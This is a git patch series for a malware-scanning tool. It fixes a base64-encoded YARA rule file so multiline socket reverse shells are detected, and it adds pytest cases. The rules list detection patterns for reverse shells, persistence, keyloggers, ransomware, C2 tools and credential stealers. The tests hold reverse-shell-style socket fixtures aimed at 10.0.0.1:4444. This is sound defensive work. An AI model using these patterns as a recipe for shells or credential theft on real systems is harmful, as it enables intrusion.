From 31a9481dd6ed15a52666f3ca84f5ab1dcf0e1f4e Mon Sep 17 00:00:00 2001 From: Deepak Jain Date: Sat, 19 Sep 2026 20:10:20 -0700 Subject: [PATCH 1/3] fix(yara): match multiline socket reverse shells Signed-off-by: Deepak Jain --- src/skillspector/yara_rules/malware.yar.b64 | 17 +---------------- tests/nodes/analyzers/test_static_yara.py | 16 ++++++++++++++++ 2 files changed, 17 insertions(+), 16 deletions(-) diff --git a/src/skillspector/yara_rules/malware.yar.b64 b/src/skillspector/yara_rules/malware.yar.b64 index d0b072f41..c56290c7a 100644 --- a/src/skillspector/yara_rules/malware.yar.b64 +++ b/src/skillspector/yara_rules/malware.yar.b64 @@ -1,19 +1,4 @@ -LyoNCiAgICBNYWx3YXJlIGluZGljYXRvciBydWxlcyBmb3Igc291cmNlIGNvZGUgc2Nhbm5pbmcu -DQogICAgQmFzZWQgb24gcGF0dGVybnMgZnJvbSBOZW8yM3gwL3NpZ25hdHVyZS1iYXNlIGFuZCBj -b21tdW5pdHkgcmVzZWFyY2guDQogICAgQ292ZXJzIHJldmVyc2Ugc2hlbGxzLCBiYWNrZG9vcnMs -IGtleWxvZ2dlcnMsIHJhbnNvbXdhcmUtbGlrZSBiZWhhdmlvciwNCiAgICBhbmQgQzIgZnJhbWV3 -b3JrIGluZGljYXRvcnMgZm91bmQgaW4gc291cmNlL3NjcmlwdCBmaWxlcy4NCiovDQoNCnJ1bGUg -cmV2ZXJzZV9zaGVsbA0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIlJldmVy -c2Ugc2hlbGwgcGF0dGVybnMgaW4gc2NyaXB0cyBvciBzb3VyY2UgY29kZSINCiAgICAgICAgY2F0 -ZWdvcnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiDQogICAgICAg -IGNvbmZpZGVuY2UgPSAiMC44NSINCiAgICAgICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHVi -LmNvbS9OZW8yM3gwL3NpZ25hdHVyZS1iYXNlIg0KICAgIHN0cmluZ3M6DQogICAgICAgICRiYXNo -X3JldnNoZWxsICAgID0gL2Jhc2hccystaVxzKz4mXHMqXC9kZXZcL3RjcFwvLyBub2Nhc2UNCiAg -ICAgICAgJG5jX3NoZWxsICAgICAgICAgPSAvbmNccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9j -YXNlDQogICAgICAgICRuY2F0X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJh -KT9zaC8gbm9jYXNlDQogICAgICAgICRweXRob25fc29ja2V0ICAgID0gL3NvY2tldFwuc29ja2V0 -XCguKlNPQ0tfU1RSRUFNLipcLmNvbm5lY3RcKC8NCiAgICAgICAgJHBlcmxfc29ja2V0ICAgICAg -PSAvdXNlXHMrU29ja2V0Oy4qc29ja2V0XHMqXChccypTT0NLLw0KICAgICAgICAkcGhwX2Zzb2Nr +LyoNCiAgICBNYWx3YXJlIGluZGljYXRvciBydWxlcyBmb3Igc291cmNlIGNvZGUgc2Nhbm5pbmcuDQogICAgQmFzZWQgb24gcGF0dGVybnMgZnJvbSBOZW8yM3gwL3NpZ25hdHVyZS1iYXNlIGFuZCBjb21tdW5pdHkgcmVzZWFyY2guDQogICAgQ292ZXJzIHJldmVyc2Ugc2hlbGxzLCBiYWNrZG9vcnMsIGtleWxvZ2dlcnMsIHJhbnNvbXdhcmUtbGlrZSBiZWhhdmlvciwNCiAgICBhbmQgQzIgZnJhbWV3b3JrIGluZGljYXRvcnMgZm91bmQgaW4gc291cmNlL3NjcmlwdCBmaWxlcy4NCiovDQoNCnJ1bGUgcmV2ZXJzZV9zaGVsbA0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIlJldmVyc2Ugc2hlbGwgcGF0dGVybnMgaW4gc2NyaXB0cyBvciBzb3VyY2UgY29kZSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC44NSINCiAgICAgICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3NpZ25hdHVyZS1iYXNlIg0KICAgIHN0cmluZ3M6DQogICAgICAgICRiYXNoX3JldnNoZWxsICAgID0gL2Jhc2hccystaVxzKz4mXHMqXC9kZXZcL3RjcFwvLyBub2Nhc2UNCiAgICAgICAgJG5jX3NoZWxsICAgICAgICAgPSAvbmNccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9jYXNlDQogICAgICAgICRuY2F0X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9jYXNlDQogICAgICAgICRweXRob25fc29ja2V0ICAgID0gL3NvY2tldFwuc29ja2V0XCguezAsMjAwfVNPQ0tfU1RSRUFNLnswLDIwMH1cLmNvbm5lY3RcKC8NCiAgICAgICAgJHBlcmxfc29ja2V0ICAgICAgPSAvdXNlXHMrU29ja2V0Oy57MCwyMDB9c29ja2V0XHMqXChccypTT0NLLw0KICAgICAgICAkcGhwX2Zzb2Nr ICAgICAgICA9IC9mc29ja29wZW5ccypcKC4qZXhlY1xzKlwoLyBub2Nhc2UNCiAgICAgICAgJHJ1 YnlfdGNwc29ja2V0ICAgPSAvVENQU29ja2V0XC5ccypuZXdccypcKC4qZXhlY1xzKlwoLw0KICAg ICAgICAkcG93ZXJzaGVsbF90Y3AgICA9IC9OZXctT2JqZWN0XHMrU3lzdGVtXC5OZXRcLlNvY2tl diff --git a/tests/nodes/analyzers/test_static_yara.py b/tests/nodes/analyzers/test_static_yara.py index 9022f2eec..ca1762871 100644 --- a/tests/nodes/analyzers/test_static_yara.py +++ b/tests/nodes/analyzers/test_static_yara.py @@ -592,6 +592,22 @@ def test_builtin_malware_finding_preserved(self): assert _has_rule(findings, "reverse_shell") assert any(f.rule_id == "YR1" for f in findings) + @pytest.mark.parametrize( + "content, filename", + [ + ( + "import socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" + 's.connect(("10.0.0.1", 4444))\n', + "shell.py", + ), + ("use Socket;\nsocket(SOCKET, PF_INET, SOCK_STREAM, 6);\n", "shell.pl"), + ], + ) + def test_builtin_reverse_shell_matches_multiline_socket_forms( + self, content: str, filename: str + ) -> None: + assert _has_rule(_run_builtin(content, filename), "reverse_shell") + def test_extra_rules_still_match_with_builtin_malware_representation(self, tmp_path): _write_rule( tmp_path, From 8f7cb94dfda2a09b6cdf18b140282b3ad60edf9c Mon Sep 17 00:00:00 2001 From: Deepak Jain Date: Sun, 20 Sep 2026 04:20:48 +0000 Subject: [PATCH 2/3] fix(yara): match newlines in multiline socket reverse-shell rules The bounded-gap patterns used '.' which does not match newlines in YARA regexes, so socket creation and .connect() on separate lines never matched. Add the 's' (dotall) modifier to the python_socket and perl_socket patterns so multiline forms are detected. Fixes the two failing parametrized cases in test_builtin_reverse_shell_matches_multiline_socket_forms. Signed-off-by: Deepak Jain --- src/skillspector/yara_rules/malware.yar.b64 | 159 +++++++++++--------- 1 file changed, 86 insertions(+), 73 deletions(-) diff --git a/src/skillspector/yara_rules/malware.yar.b64 b/src/skillspector/yara_rules/malware.yar.b64 index c56290c7a..07df00443 100644 --- a/src/skillspector/yara_rules/malware.yar.b64 +++ b/src/skillspector/yara_rules/malware.yar.b64 @@ -1,74 +1,87 @@ -LyoNCiAgICBNYWx3YXJlIGluZGljYXRvciBydWxlcyBmb3Igc291cmNlIGNvZGUgc2Nhbm5pbmcuDQogICAgQmFzZWQgb24gcGF0dGVybnMgZnJvbSBOZW8yM3gwL3NpZ25hdHVyZS1iYXNlIGFuZCBjb21tdW5pdHkgcmVzZWFyY2guDQogICAgQ292ZXJzIHJldmVyc2Ugc2hlbGxzLCBiYWNrZG9vcnMsIGtleWxvZ2dlcnMsIHJhbnNvbXdhcmUtbGlrZSBiZWhhdmlvciwNCiAgICBhbmQgQzIgZnJhbWV3b3JrIGluZGljYXRvcnMgZm91bmQgaW4gc291cmNlL3NjcmlwdCBmaWxlcy4NCiovDQoNCnJ1bGUgcmV2ZXJzZV9zaGVsbA0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIlJldmVyc2Ugc2hlbGwgcGF0dGVybnMgaW4gc2NyaXB0cyBvciBzb3VyY2UgY29kZSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC44NSINCiAgICAgICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3NpZ25hdHVyZS1iYXNlIg0KICAgIHN0cmluZ3M6DQogICAgICAgICRiYXNoX3JldnNoZWxsICAgID0gL2Jhc2hccystaVxzKz4mXHMqXC9kZXZcL3RjcFwvLyBub2Nhc2UNCiAgICAgICAgJG5jX3NoZWxsICAgICAgICAgPSAvbmNccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9jYXNlDQogICAgICAgICRuY2F0X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9jYXNlDQogICAgICAgICRweXRob25fc29ja2V0ICAgID0gL3NvY2tldFwuc29ja2V0XCguezAsMjAwfVNPQ0tfU1RSRUFNLnswLDIwMH1cLmNvbm5lY3RcKC8NCiAgICAgICAgJHBlcmxfc29ja2V0ICAgICAgPSAvdXNlXHMrU29ja2V0Oy57MCwyMDB9c29ja2V0XHMqXChccypTT0NLLw0KICAgICAgICAkcGhwX2Zzb2Nr -ICAgICAgICA9IC9mc29ja29wZW5ccypcKC4qZXhlY1xzKlwoLyBub2Nhc2UNCiAgICAgICAgJHJ1 -YnlfdGNwc29ja2V0ICAgPSAvVENQU29ja2V0XC5ccypuZXdccypcKC4qZXhlY1xzKlwoLw0KICAg -ICAgICAkcG93ZXJzaGVsbF90Y3AgICA9IC9OZXctT2JqZWN0XHMrU3lzdGVtXC5OZXRcLlNvY2tl -dHNcLlRDUENsaWVudC8gbm9jYXNlDQogICAgICAgICRzb2NhdF9zaGVsbCAgICAgID0gL3NvY2F0 -XHMrLipFWEVDLipcL2JpblwvKGJhKT9zaC8gbm9jYXNlDQogICAgICAgICRta2ZpZm9fc2hlbGwg -ICAgID0gL21rZmlmb1xzKy4qXHxccypcL2JpblwvKGJhKT9zaC8NCiAgICBjb25kaXRpb246DQog -ICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUgYmFja2Rvb3JfcGVyc2lzdGVuY2UNCnsNCiAg -ICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9ICJCYWNrZG9vciBwZXJzaXN0ZW5jZSB3aXRo -IG1hbGljaW91cyBwYXlsb2FkcyAoc2hlbGwgY29tbWFuZHMsIFNTSCBrZXkgaW5qZWN0aW9uLCBo -aWRkZW4gcm9vdCB1c2VycykiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAg -IHNldmVyaXR5ID0gIkhJR0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43NSINCiAgICAgICAg -cmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3NpZ25hdHVyZS1iYXNlIg0K -ICAgIHN0cmluZ3M6DQogICAgICAgICRoaWRkZW5fdXNlciAgICAgICA9IC91c2VyYWRkXHMrLiot -b1xzKy11XHMrMC8gbm9jYXNlDQogICAgICAgICRjcm9uX3BlcnNpc3QgICAgICA9IC9jcm9udGFi -XHMuKihjdXJsfHdnZXR8bmN8YmFzaHxweXRob24pLyBub2Nhc2UNCiAgICAgICAgJHNzaF9pbmpl -Y3QgICAgICAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5zc2hcL2F1dGhvcml6ZWRfa2V5cy8gbm9j -YXNlDQogICAgICAgICRzeXN0ZW1kX3BlcnNpc3QgICA9IC9cW1NlcnZpY2VcXS4qRXhlY1N0YXJ0 -LioobmN8YmFzaHxweXRob258Y3VybCkvIG5vY2FzZQ0KICAgICAgICAkYmFzaHJjX3BlcnNpc3Qg -ICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLmJhc2hyYy8gbm9jYXNlDQogICAgICAgICRwcm9maWxl -X3BlcnNpc3QgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwucHJvZmlsZS8gbm9jYXNlDQogICAgICAg -ICRpbml0X3BlcnNpc3QgICAgICA9IC9cL2V0Y1wvaW5pdFwuZFwvLioobmN8YmFzaHxyZXZlcnNl -KS8gbm9jYXNlDQogICAgICAgICRsZF9wcmVsb2FkICAgICAgICA9IC9MRF9QUkVMT0FELipcLnNv -LyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUg -a2V5bG9nZ2VyX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9 -ICJLZXlsb2dnZXIgZnVuY3Rpb25hbGl0eSBpbiBzY3JpcHRzIG9yIHNvdXJjZSBjb2RlIg0KICAg -ICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAg -ICAgICBjb25maWRlbmNlID0gIjAuNyINCiAgICBzdHJpbmdzOg0KICAgICAgICAkcHlucHV0ICAg -ICAgICAgPSAvZnJvbVxzK3B5bnB1dFwua2V5Ym9hcmRccytpbXBvcnQvIG5vY2FzZQ0KICAgICAg -ICAka2V5Ym9hcmRfaG9vayAgPSAva2V5Ym9hcmRcLihvbl9wcmVzc3xob29rfG9uX3JlbGVhc2Up -LyBub2Nhc2UNCiAgICAgICAgJHhpbnB1dF90ZXN0ICAgID0gL3hpbnB1dFxzK3Rlc3QvIG5vY2Fz -ZQ0KICAgICAgICAkbG9na2V5cyAgICAgICAgPSAvbG9na2V5c1xzKy0tc3RhcnQvIG5vY2FzZQ0K -ICAgICAgICAka2V5YmRfZXZlbnQgICAgPSAvKEdldEFzeW5jS2V5U3RhdGV8U2V0V2luZG93c0hv -b2tFeC4qV0hfS0VZQk9BUkQpLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBv -ZiB0aGVtDQp9DQoNCnJ1bGUgcmFuc29td2FyZV9iZWhhdmlvcg0Kew0KICAgIG1ldGE6DQogICAg -ICAgIGRlc2NyaXB0aW9uID0gIlJhbnNvbXdhcmUtbGlrZSBwYXR0ZXJucyAobWFzcyBlbmNyeXB0 -aW9uLCByYW5zb20gbm90ZXMpIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAg -ICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjgiDQogICAg -c3RyaW5nczoNCiAgICAgICAgJHdhbGtfZW5jcnlwdCAgID0gL29zXC53YWxrXHMqXCguKlwuKGVu -Y3J5cHR8Y2lwaGVyKS8NCiAgICAgICAgJHJhbnNvbV9ub3RlICAgID0gLyh5b3VyXHMrZmlsZXNc +LyoKICAgIE1hbHdhcmUgaW5kaWNhdG9yIHJ1bGVzIGZvciBzb3VyY2UgY29kZSBzY2FubmluZy4K +ICAgIEJhc2VkIG9uIHBhdHRlcm5zIGZyb20gTmVvMjN4MC9zaWduYXR1cmUtYmFzZSBhbmQgY29t +bXVuaXR5IHJlc2VhcmNoLgogICAgQ292ZXJzIHJldmVyc2Ugc2hlbGxzLCBiYWNrZG9vcnMsIGtl +eWxvZ2dlcnMsIHJhbnNvbXdhcmUtbGlrZSBiZWhhdmlvciwKICAgIGFuZCBDMiBmcmFtZXdvcmsg +aW5kaWNhdG9ycyBmb3VuZCBpbiBzb3VyY2Uvc2NyaXB0IGZpbGVzLgoqLwoKcnVsZSByZXZlcnNl +X3NoZWxsCnsKICAgIG1ldGE6CiAgICAgICAgZGVzY3JpcHRpb24gPSAiUmV2ZXJzZSBzaGVsbCBw +YXR0ZXJucyBpbiBzY3JpcHRzIG9yIHNvdXJjZSBjb2RlIgogICAgICAgIGNhdGVnb3J5ID0gIm1h +bHdhcmUiCiAgICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiCiAgICAgICAgY29uZmlkZW5jZSA9 +ICIwLjg1IgogICAgICAgIHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9z +aWduYXR1cmUtYmFzZSIKICAgIHN0cmluZ3M6CiAgICAgICAgJGJhc2hfcmV2c2hlbGwgICAgPSAv +YmFzaFxzKy1pXHMrPiZccypcL2RldlwvdGNwXC8vIG5vY2FzZQogICAgICAgICRuY19zaGVsbCAg +ICAgICAgID0gL25jXHMuKi1lXHMqXC9iaW5cLyhiYSk/c2gvIG5vY2FzZQogICAgICAgICRuY2F0 +X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9jYXNlCiAgICAg +ICAgJHB5dGhvbl9zb2NrZXQgICAgPSAvc29ja2V0XC5zb2NrZXRcKC57MCwyMDB9U09DS19TVFJF +QU0uezAsMjAwfVwuY29ubmVjdFwoL3MKICAgICAgICAkcGVybF9zb2NrZXQgICAgICA9IC91c2Vc +cytTb2NrZXQ7LnswLDIwMH1zb2NrZXRccypcKFxzKlNPQ0svcwogICAgICAgICRwaHBfZnNvY2sg +ICAgICAgID0gL2Zzb2Nrb3BlblxzKlwoLipleGVjXHMqXCgvIG5vY2FzZQogICAgICAgICRydWJ5 +X3RjcHNvY2tldCAgID0gL1RDUFNvY2tldFwuXHMqbmV3XHMqXCguKmV4ZWNccypcKC8KICAgICAg +ICAkcG93ZXJzaGVsbF90Y3AgICA9IC9OZXctT2JqZWN0XHMrU3lzdGVtXC5OZXRcLlNvY2tldHNc +LlRDUENsaWVudC8gbm9jYXNlCiAgICAgICAgJHNvY2F0X3NoZWxsICAgICAgPSAvc29jYXRccysu +KkVYRUMuKlwvYmluXC8oYmEpP3NoLyBub2Nhc2UKICAgICAgICAkbWtmaWZvX3NoZWxsICAgICA9 +IC9ta2ZpZm9ccysuKlx8XHMqXC9iaW5cLyhiYSk/c2gvCiAgICBjb25kaXRpb246CiAgICAgICAg +YW55IG9mIHRoZW0KfQoKcnVsZSBiYWNrZG9vcl9wZXJzaXN0ZW5jZQp7CiAgICBtZXRhOgogICAg +ICAgIGRlc2NyaXB0aW9uID0gIkJhY2tkb29yIHBlcnNpc3RlbmNlIHdpdGggbWFsaWNpb3VzIHBh +eWxvYWRzIChzaGVsbCBjb21tYW5kcywgU1NIIGtleSBpbmplY3Rpb24sIGhpZGRlbiByb290IHVz +ZXJzKSIKICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIgogICAgICAgIHNldmVyaXR5ID0gIkhJ +R0giCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjc1IgogICAgICAgIHJlZmVyZW5jZSA9ICJodHRw +czovL2dpdGh1Yi5jb20vTmVvMjN4MC9zaWduYXR1cmUtYmFzZSIKICAgIHN0cmluZ3M6CiAgICAg +ICAgJGhpZGRlbl91c2VyICAgICAgID0gL3VzZXJhZGRccysuKi1vXHMrLXVccyswLyBub2Nhc2UK +ICAgICAgICAkY3Jvbl9wZXJzaXN0ICAgICAgPSAvY3JvbnRhYlxzLiooY3VybHx3Z2V0fG5jfGJh +c2h8cHl0aG9uKS8gbm9jYXNlCiAgICAgICAgJHNzaF9pbmplY3QgICAgICAgID0gL2VjaG9ccysu +Kj4+P1xzKi4qXC5zc2hcL2F1dGhvcml6ZWRfa2V5cy8gbm9jYXNlCiAgICAgICAgJHN5c3RlbWRf +cGVyc2lzdCAgID0gL1xbU2VydmljZVxdLipFeGVjU3RhcnQuKihuY3xiYXNofHB5dGhvbnxjdXJs +KS8gbm9jYXNlCiAgICAgICAgJGJhc2hyY19wZXJzaXN0ICAgID0gL2VjaG9ccysuKj4+P1xzKi4q +XC5iYXNocmMvIG5vY2FzZQogICAgICAgICRwcm9maWxlX3BlcnNpc3QgICA9IC9lY2hvXHMrLio+ +Pj9ccyouKlwucHJvZmlsZS8gbm9jYXNlCiAgICAgICAgJGluaXRfcGVyc2lzdCAgICAgID0gL1wv +ZXRjXC9pbml0XC5kXC8uKihuY3xiYXNofHJldmVyc2UpLyBub2Nhc2UKICAgICAgICAkbGRfcHJl +bG9hZCAgICAgICAgPSAvTERfUFJFTE9BRC4qXC5zby8gbm9jYXNlCiAgICBjb25kaXRpb246CiAg +ICAgICAgYW55IG9mIHRoZW0KfQoKcnVsZSBrZXlsb2dnZXJfaW5kaWNhdG9ycwp7CiAgICBtZXRh +OgogICAgICAgIGRlc2NyaXB0aW9uID0gIktleWxvZ2dlciBmdW5jdGlvbmFsaXR5IGluIHNjcmlw +dHMgb3Igc291cmNlIGNvZGUiCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSIKICAgICAgICBz +ZXZlcml0eSA9ICJISUdIIgogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43IgogICAgc3RyaW5nczoK +ICAgICAgICAkcHlucHV0ICAgICAgICAgPSAvZnJvbVxzK3B5bnB1dFwua2V5Ym9hcmRccytpbXBv +cnQvIG5vY2FzZQogICAgICAgICRrZXlib2FyZF9ob29rICA9IC9rZXlib2FyZFwuKG9uX3ByZXNz +fGhvb2t8b25fcmVsZWFzZSkvIG5vY2FzZQogICAgICAgICR4aW5wdXRfdGVzdCAgICA9IC94aW5w +dXRccyt0ZXN0LyBub2Nhc2UKICAgICAgICAkbG9na2V5cyAgICAgICAgPSAvbG9na2V5c1xzKy0t +c3RhcnQvIG5vY2FzZQogICAgICAgICRrZXliZF9ldmVudCAgICA9IC8oR2V0QXN5bmNLZXlTdGF0 +ZXxTZXRXaW5kb3dzSG9va0V4LipXSF9LRVlCT0FSRCkvIG5vY2FzZQogICAgY29uZGl0aW9uOgog +ICAgICAgIGFueSBvZiB0aGVtCn0KCnJ1bGUgcmFuc29td2FyZV9iZWhhdmlvcgp7CiAgICBtZXRh +OgogICAgICAgIGRlc2NyaXB0aW9uID0gIlJhbnNvbXdhcmUtbGlrZSBwYXR0ZXJucyAobWFzcyBl +bmNyeXB0aW9uLCByYW5zb20gbm90ZXMpIgogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiCiAg +ICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjgiCiAg +ICBzdHJpbmdzOgogICAgICAgICR3YWxrX2VuY3J5cHQgICA9IC9vc1wud2Fsa1xzKlwoLipcLihl +bmNyeXB0fGNpcGhlcikvCiAgICAgICAgJHJhbnNvbV9ub3RlICAgID0gLyh5b3VyXHMrZmlsZXNc cysoaGF2ZVxzK2JlZW58YXJlKVxzK2VuY3J5cHRlZHxwYXlccysuKmJpdGNvaW58c2VuZFxzKy4q -YnRjKS8gbm9jYXNlDQogICAgICAgICRleHRfcmVuYW1lICAgICA9IC9vc1wucmVuYW1lXHMqXCgu -KlwrXHMqWyciXVwuKGxvY2tlZHxlbmNyeXB0ZWR8Y3J5cHR8ZW5jKVsnIl1ccypcKS8NCiAgICAg -ICAgJG1hc3Nfb3ZlcndyaXRlID0gL29zXC53YWxrXHMqXCguKm9wZW5ccypcKC4qWydcIl13Ylsn -XCJdXCkvDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpydWxlIGMy -X2ZyYW1ld29ya19pbmRpY2F0b3JzDQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24g -PSAiQ29tbWFuZC1hbmQtY29udHJvbCBmcmFtZXdvcmsgaW5kaWNhdG9ycyAoQ29iYWx0IFN0cmlr -ZSwgTWV0YXNwbG9pdCwgU2xpdmVyLCBldGMuKSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2Fy -ZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiDQogICAgICAgIGNvbmZpZGVuY2UgPSAi -MC44NSINCiAgICAgICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3Np -Z25hdHVyZS1iYXNlIg0KICAgIHN0cmluZ3M6DQogICAgICAgICRjb2JhbHRfc3RyaWtlICA9ICJj -b2JhbHRzdHJpa2UiIG5vY2FzZQ0KICAgICAgICAkbWV0ZXJwcmV0ZXIgICAgPSAibWV0ZXJwcmV0 -ZXIiIG5vY2FzZQ0KICAgICAgICAkbWV0YXNwbG9pdCAgICAgPSAvbWV0YXNwbG9pdC4qKHBheWxv -YWR8ZXhwbG9pdHxzdGFnZXIpLyBub2Nhc2UNCiAgICAgICAgJGVtcGlyZSAgICAgICAgID0gL3Bv -d2Vyc2hlbGwuKmVtcGlyZS8gbm9jYXNlDQogICAgICAgICRzbGl2ZXJfYzIgICAgICA9IC9zbGl2 -ZXIuKihpbXBsYW50fGJlYWNvbnxzZXNzaW9uKS8gbm9jYXNlDQogICAgICAgICRjb3ZlbmFudCAg -ICAgICA9IC9Db3ZlbmFudC4qKEdydW50fExpc3RlbmVyKS8gbm9jYXNlDQogICAgICAgICRoYXZv -Y19jMiAgICAgICA9IC9oYXZvYy4qKGRlbW9ufHRlYW1zZXJ2ZXIpLyBub2Nhc2UNCiAgICAgICAg -JGJlYWNvbl9jb25maWcgID0gLyhCZWFjb25UeXBlfEMyU2VydmVyfFB1YmxpY0tleS4qd2F0ZXJt -YXJrKS8gbm9jYXNlDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpy -dWxlIGluZm9fc3RlYWxlcg0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIklu -Zm9ybWF0aW9uIHN0ZWFsZXIgcGF0dGVybnMgKGNyZWRlbnRpYWwgaGFydmVzdGluZywgYnJvd3Nl -ciBkYXRhIHRoZWZ0KSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2 -ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjc1Ig0KICAgICAgICByZWZl -cmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAg -c3RyaW5nczoNCiAgICAgICAgJGNocm9tZV9sb2dpbiAgICAgPSAvQ2hyb21lLipMb2dpblxzKkRh -dGEvIG5vY2FzZQ0KICAgICAgICAkZmlyZWZveF9sb2dpbnMgICA9IC9sb2dpbnNcLmpzb24uKmZp -cmVmb3gvIG5vY2FzZQ0KICAgICAgICAkYnJvd3Nlcl9jb29raWVzICA9IC9Db29raWVzLiooY2hy -b21lfGZpcmVmb3h8ZWRnZXxvcGVyYSkvIG5vY2FzZQ0KICAgICAgICAkd2FsbGV0X3N0ZWFsICAg -ICA9IC93YWxsZXRcLmRhdC8gbm9jYXNlDQogICAgICAgICRtaW1pa2F0eiAgICAgICAgID0gIm1p -bWlrYXR6IiBub2Nhc2UNCiAgICAgICAgJGxhemFnbmUgICAgICAgICAgPSAibGF6YWduZSIgbm9j -YXNlDQogICAgICAgICRjcmVkX2R1bXBfc2FtICAgID0gL3JlZ1xzK3NhdmVccysuKlxcc2FtLyBu -b2Nhc2UNCiAgICAgICAgJG50ZHNfZHVtcCAgICAgICAgPSAvbnRkc1wuZGl0LyBub2Nhc2UNCiAg -ICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQo= +YnRjKS8gbm9jYXNlCiAgICAgICAgJGV4dF9yZW5hbWUgICAgID0gL29zXC5yZW5hbWVccypcKC4q +XCtccypbJyJdXC4obG9ja2VkfGVuY3J5cHRlZHxjcnlwdHxlbmMpWyciXVxzKlwpLwogICAgICAg +ICRtYXNzX292ZXJ3cml0ZSA9IC9vc1wud2Fsa1xzKlwoLipvcGVuXHMqXCguKlsnXCJdd2JbJ1wi +XVwpLwogICAgY29uZGl0aW9uOgogICAgICAgIGFueSBvZiB0aGVtCn0KCnJ1bGUgYzJfZnJhbWV3 +b3JrX2luZGljYXRvcnMKewogICAgbWV0YToKICAgICAgICBkZXNjcmlwdGlvbiA9ICJDb21tYW5k +LWFuZC1jb250cm9sIGZyYW1ld29yayBpbmRpY2F0b3JzIChDb2JhbHQgU3RyaWtlLCBNZXRhc3Bs +b2l0LCBTbGl2ZXIsIGV0Yy4pIgogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiCiAgICAgICAg +c2V2ZXJpdHkgPSAiQ1JJVElDQUwiCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjg1IgogICAgICAg +IHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9zaWduYXR1cmUtYmFzZSIK +ICAgIHN0cmluZ3M6CiAgICAgICAgJGNvYmFsdF9zdHJpa2UgID0gImNvYmFsdHN0cmlrZSIgbm9j +YXNlCiAgICAgICAgJG1ldGVycHJldGVyICAgID0gIm1ldGVycHJldGVyIiBub2Nhc2UKICAgICAg +ICAkbWV0YXNwbG9pdCAgICAgPSAvbWV0YXNwbG9pdC4qKHBheWxvYWR8ZXhwbG9pdHxzdGFnZXIp +LyBub2Nhc2UKICAgICAgICAkZW1waXJlICAgICAgICAgPSAvcG93ZXJzaGVsbC4qZW1waXJlLyBu 